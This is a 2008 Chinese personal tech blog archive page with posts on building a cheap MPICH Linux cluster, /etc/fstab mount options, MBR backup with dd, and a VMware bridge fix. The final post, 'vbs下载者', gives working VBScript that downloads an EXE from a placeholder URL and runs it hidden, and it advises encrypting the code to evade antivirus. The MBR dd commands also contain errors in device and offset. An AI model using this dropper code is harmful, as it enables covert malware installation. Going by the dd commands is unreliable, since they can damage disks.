正在加载...
分页: 148/186 第一页 上页 143 144 145 146 147 148 149 150 151 152 下页 最后页 [ 显示模式: 摘要 | 列表 ]

三万元搭建LINUX服务器集群

[ 2008/08/26 13:08 | by selboo ]

1.什么是服务器集群

      随着Internet的爆炸性增长,Internet与人的生活越来越息息相关,通过Internet上进行交易也就越来越受关注.近几年,电子商务的年增长均超过100%.服务器的工作量也迅速增长,所以服务器(特别是一个受人欢迎的WEB服务器)很容易在访问高峰时期过载.而另一方面,计算机从1946年单纯的科学计算任务到现在大量纷繁复杂的信息处理,工作量越来越大,需要越来越快的处理能力.所以计算机界就不得不不断研究更快的处理器,存储器,以适应这一需求.然而,科学家们意识到,单块处理器的速度发展空间是有限的,为什么不能让计算机象人一样协同工作,“群策群力”地将工作完成好呢!这时,就掀起了“并行计算”的研究.举个例子来说,我们架设了一台WWW服务器,上面构建了一个电子商务网站,然而随着时间的推移,名声越来越大,这时点击率也就越来越高,WWW服务器的负载也就越来越高.这种情况下,我们就必须提升WWW服务器的能力,以满足以益增长的服务请求.这时,我们就面临两种选择:

      (1)升级WWW服务器,采用更快的CPU,增加更多的内存,使其更具有POWER;但日益增长的服务请求又会使服务器再次过载,需要再次升级,这样就陷入了升级的怪圈.还有,升级时还得考虑到服务如何接续,能否中止!

      (2)增加WWW服务器,让多台服务器来完成相同的服务.

      这种方法就是服务器集群,通过并行技术来大大提升系统性能.也就是这一章的主要内容,这种方法具有很好的扩展性,而且可以最大限度地利用已有投资.

1.1.集群的概念

      集群,是一组独立的计算机系统构成一个松耦合的多处理器系统,它们之间通过网络实现进程间的通信.应用程序可以通过网络共享内存进行消息传送,实现分布式计算机.近几年来,微处理器、内存、总线技术、网络技术有了非常大的进步,软件的并行技术也有了非常大的进步,这使得让一组廉价的个人电脑与工作站协同工作成为可能,甚至可以与拥有强大的芯片处理能力的超级计算机竞争.比如,16个普通微处理器组成的集群系统可以达到亿次级浮点计算机能力,而且总的成本小于40万元.不幸的是,建造一个集群并不是一件简单的事件.集群的组成部分必须根据要运行的主要应用进行调整,以使之运行在最佳状态.这此因素带来的结果就是,建造集群系统不是只有一个标准的方案,在本章中,我们就会看到许多种建造方案.集群技术是计算机系统结构的前沿领域,笔者也仅是略有了解,希望本文能起到抛砖引玉之用.

1.2.并行技术

      这是一个非常简单的建造四节点的小集群系统的例子,它是构建在Linux操作系统上,通过MPICH软件包实现的,希望这个小例子能让大家对集群系统的构建有一个最基本的了解.

2.使用MPICH构建一个四节点的集群系统

      这是一个非常简单的建造四节点的小集群系统的例子,它是构建在Linux操作系统上,通过MPICH软件包实现的,希望这个小例子能让大家对集群系统的构建有一个最基本的了解.

2.1 所需设备

      (1).4台采用Pentium II处理器的PC机,每台配置64M内存,2GB以上的硬盘,和EIDE接口的光盘驱动器.

      (2).5块100M快速以太网卡,如SMC 9332 EtherPower 10/100(其中四块卡用于连接集群中的结点,另外一块用于将集群中的其中的一个节点与其它网络连接.)

      (3).5根足够连接集群系统中每个节点的,使用5类非屏蔽双绞线制作的RJ45缆线

      (4).1个快速以太网(100BASE-Tx)的集线器或交换机

      (5).1张Linux安装盘

2.2 构建说明

      对计算机硬件不熟的人,实施以下这些构建步骤会感到吃力.如果是这样,请找一些有经验的专业人士寻求帮助.

      (1). 准备好要使用的采用Pentium II处理器的PC机.确信所有的PC机都还没有接上电源,打开PC机的机箱,在准备与网络上的其它设备连接的PC机上安装上两块快速以太网卡,在其它的PC机上安装上一块快速以太网卡.当然别忘了要加上附加的内存.确定完成后盖上机箱,接上电源.

      (2). 使用4根RJ45线缆将四台PC机连到快速以太网的集线器或交换机上.使用剩下的1根RJ45线将额外的以太网卡(用于与其它网络相连的那块,这样机构就可以用上集群)连接到机构的局域网上(假定你的机构局域网也是快速以太网),然后打开电源.

      (3). 使用LINUX安装盘在每一台PC机上安装.请确信在LINUX系统中安装了C编译器和C的LIB库.当你配置TCP/IP时,建议你为四台PC分别指定为192.168.1.1、192.168.1.2、192.168.1.3、192.168.1.4.第一台PC为你的服务器节点(拥有两块网卡的那台).在这个服务器节点上的那块与机构局域网相连的网卡,你应该为其指定一个与机构局域网吻合的IP地址.

      (4).当所有PC都装好Linux系统后,编辑每台机器的/etc/hosts文件,让其包含以下几行:

192.168.1.1 node1 server
192.168.1.2 node2
192.168.1.3 node3
192.168.1.4 node4

编辑每台机器的/etc/hosts.equiv文件,使其包含以下几行:

node1
node2
node3
node4
$p#

以下的这些配置是为了让其能使用MPICH's p4策略去执行分布式的并行处理应用.

      1. 在服务器节点,建一个/mirror目录,并将其配置成为NFS服务器,并在/etc/exports文件中增加一行:/mirror node1(rw) node2(rw) node3(rw) node4(rw)

      2. 在其他节点上,也建一个/mirror目录,关在/etc/fstab文件中增加一行:server:/mirror /mirror nfs rw,bg,soft 0 0

      3. /mirror这个目录从服务器上输出,装载在各个客户端,以便在各个节点间进行软件任务的分发.

      4. 在服务器节点上,安装MPICH.MPICH的文档可在http://www.mcs.anl.gov/mpi/mpich/docs.html获得.

      5. 任何一个集群用户(你必须在每一个节点新建一个相同的用户),必须在/mirror目录下建一个属于它的子目录,如/mirror/username,用来存放MPI程序和共享数据文件.这种情况,用户仅仅需要在服务器节点上编译MPI程序,然后将编译后的程序拷贝到在/mirror目录下属于它的的子目录中,然后从他在/mirror目录下属于它的的子目录下使用p4 MPI策略运行MPI程序.

2.3 MPICH安装指南

      1.如果你有gunzip,就d下载mpich.tar.gz,要不然就下载mpich.tar.Z.你可以到http://www.mcs.anl.gov/mpi/mpich/downloa下载,也可以使用匿名FTP到ftp.mcs.anl.gov的pub/mpi目录拿.(如果你觉得这个东西太大,你可以到pub/mpi/mpisplit中取分隔成块的几个小包,然后用cat命令将它们合并)

      2.解压:gunzip ;c mpich.tar.gz  tar xovf-(或zcat mpich.tar.Z tar xovf-)

      3.进入mpich目录

      4.执行:./configure为MPICH选择一套适合你的实际软硬件环境的参数组,如果你对这些默认选择的参数不满意,可以自己进行配置(具体参见MPICH的配置文档).最好选择一个指定的目录来安装和配置MPICH,例如:./configure -prefix=/usr/local/mpich-1.2.0

      5.执行:make >& make.log 这会花一段较长的时间,不同的硬件环境花的时间也就不同,可能从10分钟到1个小时,甚至更多.

      6.(可选)在工作站网络,或是一台单独的工作站,编辑mpich/util/machines/machines.xxx(xxx是MPICH对你机器体系结构取的名称,你能很容易的认出来)以反映你工作站的当地主机名.你完全可以跳过这一步.在集群中,这一步不需要.

      7.(可选)编译、运行一个简单的测试程序:

cd examples/basic
make cpi
ln ;s ../../bin/mpirun mpirun
./mpirun ;np 4 cpi

此时,你就在你的系统上运行了一个MPI程序.

8.(可选)构建MPICH其余的环境,为ch_p4策略使

用安全的服务会使得任何启动速度加快,你可以执行以下命令构建:
make serv_p4
(serv_p4是一个较新的P4安全服务的版本,它包含在MPICH 1.2.0版中),nupshot程序是upshot程序的一个更快版本,但他需要tk 3.6版的源代码.如果你有这个包,你就用以下命令可以构建它:
make nupshot

9.(可选)如果你想将MPICH安装到一个公用的地方让其它人使用它,你可以执行:

make install 或 bin/mpiinstall

你可以使用-prefix选项指定MPICH安装目录.安装后将生成include、lib、bin、sbin、www和man目录以及一个小小的示例目录,
(可选)到此你可以通告所有的用户如何编译、执行一个MPI程序.

2.4 费用统计

这个小的集群方案总的费用大致如下:
设备费用:
4台 带EIDE CD-ROM 的机器: 24000元
5块快速以太网卡: 800元
1个快速以太网的集线机:2000元
5根双绞线:50元
软件费用:
LINUX安装光盘:50元
MPICH:0元
合计:26900元.
这样一个集群系统可以用于一些大量的科学计算,信息处理,而且其性价比实在是太好了,仅需不到三万元.

linux./etc/fstab文件详解

[ 2008/08/26 10:37 | by selboo ]

      通常情况下,一个Linux系统将拥有很多的文件系统,然而,仅仅通过一个或非常少的文件系统来配置Linux系统也是可能的,你希望创建多个文件系统 的一个原因就是通过使用/etc/fstab文件中指定的mount选项来控制对它们的访问.

/etc/fstab文件的内容主要包括六项:
/dev/hda1     /              ext3    defaults  1 1
/dev/hda5     /usr           ext3    defaults  1 2
/dev/hda1     /home          ext3    defaults  1 2
/dev/hda6     /var           ext3    defaults  1 1
/dev/hda7     swap           swap    defaults  0 0
/dev/fd0      /mnt/floppy    ext3    noauto    0 0
/dev/cdrom    /mnt/cdrom     iso9660 noauto,ro 0 0
none          /proc          proc    defaults  0 0

第一列:设备名或者设备卷标名,(/dev/sda10 或者 LABEL=/)

第二列:设备挂载目录        (例如上面的“/”或者“/mnt/D/”)

第三列:设备文件系统          (例如上面的“ext3”或者“vfat”)

第四列:挂载参数     (看帮助man mount)
对于已经挂载好的设备,例如上面的/dev/sda2,现在要改变挂载参数,这时可以不用卸载该设备,而可以使用下面的命令(没有挂载的设备,remount 这个参数无效)#mount /mnt/cdrom/ -o remount,ro  (改defaults为ro)为了安全起见,可以指明其他挂载参数,例如:
   default 设置该安装选项为rw,suid(允许SUID和SGID执行),dev(允许字符和块专用设备),exec(允许二进制文件的执行),auto(允许mount -a),nouser(只有根用户能配置该文件系统,不允许普通用户挂载)和async(异步I/O)
   nodev 不解释或允许在该文件系统上创建字符或块专用文件(设备文件),(不允许挂载设备文件)
   noexec 在该文件系统上不允许二进制文件或脚本的执行,(不允许可执行文件可执行,但千万不要把根分区挂为noexec,那就无法使用系统了,连mount 命令都无法使用了,这时只有重新做系统了!
   ro 设置此文件系统为只读
   user 允许除根用户以外的用户配置该文件系统.除非被明令撤销否则该选项会自动设置noexec,nosuid和nodev选项
   nosuid,nosgid 不允许SUID或SGID对该文件系统产生作用(不允许有suid和sgid属性)
   noatime 取缔在此文件系统内所有文件和目录上的访问时间更新,该选项在2.2.x版及其之后的内核中可以使用

第五列:指明是否要备份.(0为不备份,1为要备份,一般根分区要备份)

第六列:指明自检顺序. (0为不自检,1或者2为要自检,如果是根分区要设为1,其他分区只能是2)
在安装之前,请仔细考虑你的用户需要的访问类型,这样可以更好的对创建的系统提出要求.对于本地文件系统,考试下列这些选取mount选项的指导方针:
(1)用户主目录不应当成为SUID脚本和程序的发源地,而且也不应该拥有字符和块专用文件.
(2)任何文件系统如果拥有可被除根用户以外的人定入的目录,在最低程度上都应该使用nosuid选项./var文件系统就是这样一个文件系统,并且该文件系统对于你的系统至关重要.
(3)任何不需要被写入的文件系统(特殊情况除外)应当被安装设置为只读文件.
我们应对/var文件系统应用第二条指导原则,而对/home文件系统应用第一条指导原则.为了方便用户,我们还希望将user选项增加到/mnt/cdrom上,这样便可以允许非根用户在没有根用户干预的情况下安装CD-ROM.与user选项相联系的那些附加限制选项如nosuid,noexec和nodev应该为此提供足够的安全保障.
假设在/usr文件系统中拥有一个/usr/local/bin子目录,该子目录包含了那些被很多用户使用的可执行程序,如果这些可执行文件不会经常改变,你或许希望创建一个单独的文件系统并用ro选项对/usr/local/bi目录进行配置.可惜的是,如果确实这样去做了,那么每当需要修改/usr/local/bin或/usr/local/lib目录中的文件时,都要重新配置它的rw选项(最好是以单用户模式).在不出意外 的情况下,增强系统和网络的安全性.将会影响到性能或用户的方便性.
一个更安全的/etc/fstab表
/dev/hda1     /              ext3    defaults              1 1
/dev/hdb4     sr/local/bin   ext3    ro,nosuid             1 2
/dev/hdb9     sr/local/lib   ext3    ro,nosuid             1 2
/dev/hda5     /usr           ext3    defaults              1 2
/dev/hdb1     /home          ext3    noexec,nodev,nosuid   1 2
/dev/hda6     /var           ext3    nosuid                1 1
/dev/hda7     swap           swap    defaults              0 0
/dev/fd0      /mnt/floppy    ext3    noauto                0 0
/dev/cdrom    /mnt/cdrom     iso9660 noauto,ro,user        0 0
none          /proc          proc    defaults              0 0

1,加或不加auto,开机时会自动挂载;加noauto时不自动挂载,当执行mount -a的时候也不能挂载,只有通过手动挂载.
2,user 允许除根用户以外的用户配置该文件系统.
3,noexec 在该文件系统上不允许二进制文件或脚本的执行

备份MBR分区
 
1.使用fdisk -l 确定MBR位置
 
2.备份MBR
 
dd if=/dev/sda1 of=/root/mbr bs=512 count=1
 
3.恢复MBR
 
dd if=/root/mbr of=/dev/sda1 bs=512 count=1
 
4.恢复分区表
 
dd if=/root/mbr of=/dev/sda1 bs=512 skip=446 count=66
 
注:mbr大小512 所以bs=512 count=1
 
bs=512 skip=446 count=66 用来确定分区表在备份文件中的位置

今天打开虚拟机竟然不能上网,后来发现虚拟机网卡出现错误

The network bridge on device VMnet0 is not running. The virtual machine will not be able to communicate with the host or with other machines on your network. Virtual device Ethernet0 will start disconnected

原来在本地连接里少了:VMware Bridge Protocol
正常安装后会在本地网卡的连接属性里有这一项的。

解决方法:
打开物理网卡本地连接->属性
安装->(选中服务)添加->从磁盘安装->浏览->
X:\Program Files\VMware\VMware Server目录下选 netbridge.inf
X代表你安装vmware软件的安装所在盘.
安装完成后双击 VMware Bridge Protocl 写入0 就可以了。
然后重新启动电脑。
这时:Bridge:Connected directly to the physical network 就可以使用了
Tags:

vbs下载者

[ 2008/08/25 12:41 | by selboo ]

url = "http://www.xxx.com/XXX.exe"    '网络上的EXE文件地址,改成你自己想要的就可以了啊
saveas = "XXX.exe"                '保存成的本地文件
Set xmlhttp = CreateObject("Microsoft.XMLHTTP") '创建HTTP请求对象
Set stream = CreateObject("ADODB.Stream")       '创建ADO数据流对象
Call xmlhttp.open("GET",url,False)'打开连接
Call xmlhttp.send()'发送请求
stream.mode = 3 '设置数据流为读写模式
stream.type = 1     '设置数据流为二进制模式
Call stream.open()'打开数据流
Call stream.write(xmlhttp.responsebody)'将服务器的返回报文主体内容写入数据流
Call stream.savetofile(saveas,2)'将数据流保存为文件
Set WSHSHell=WScript.CreateObject("WScript.Shell") '创建Shell对象
'运行XXX.exe
WSHSHell.Run "XXX.exe",0
'释放对象
Set xmlhttp = Nothing
Set stream = Nothing


      看到上面的代码可不要太高兴哦,应为这样的代码随便拿个破烂的杀毒软件都可以把它个咔嚓了,你还需要对代码进行加密才行哦...怎么加密就要先自己找喽...
Tags:
分页: 148/186 第一页 上页 143 144 145 146 147 148 149 150 151 152 下页 最后页 [ 显示模式: 摘要 | 列表 ]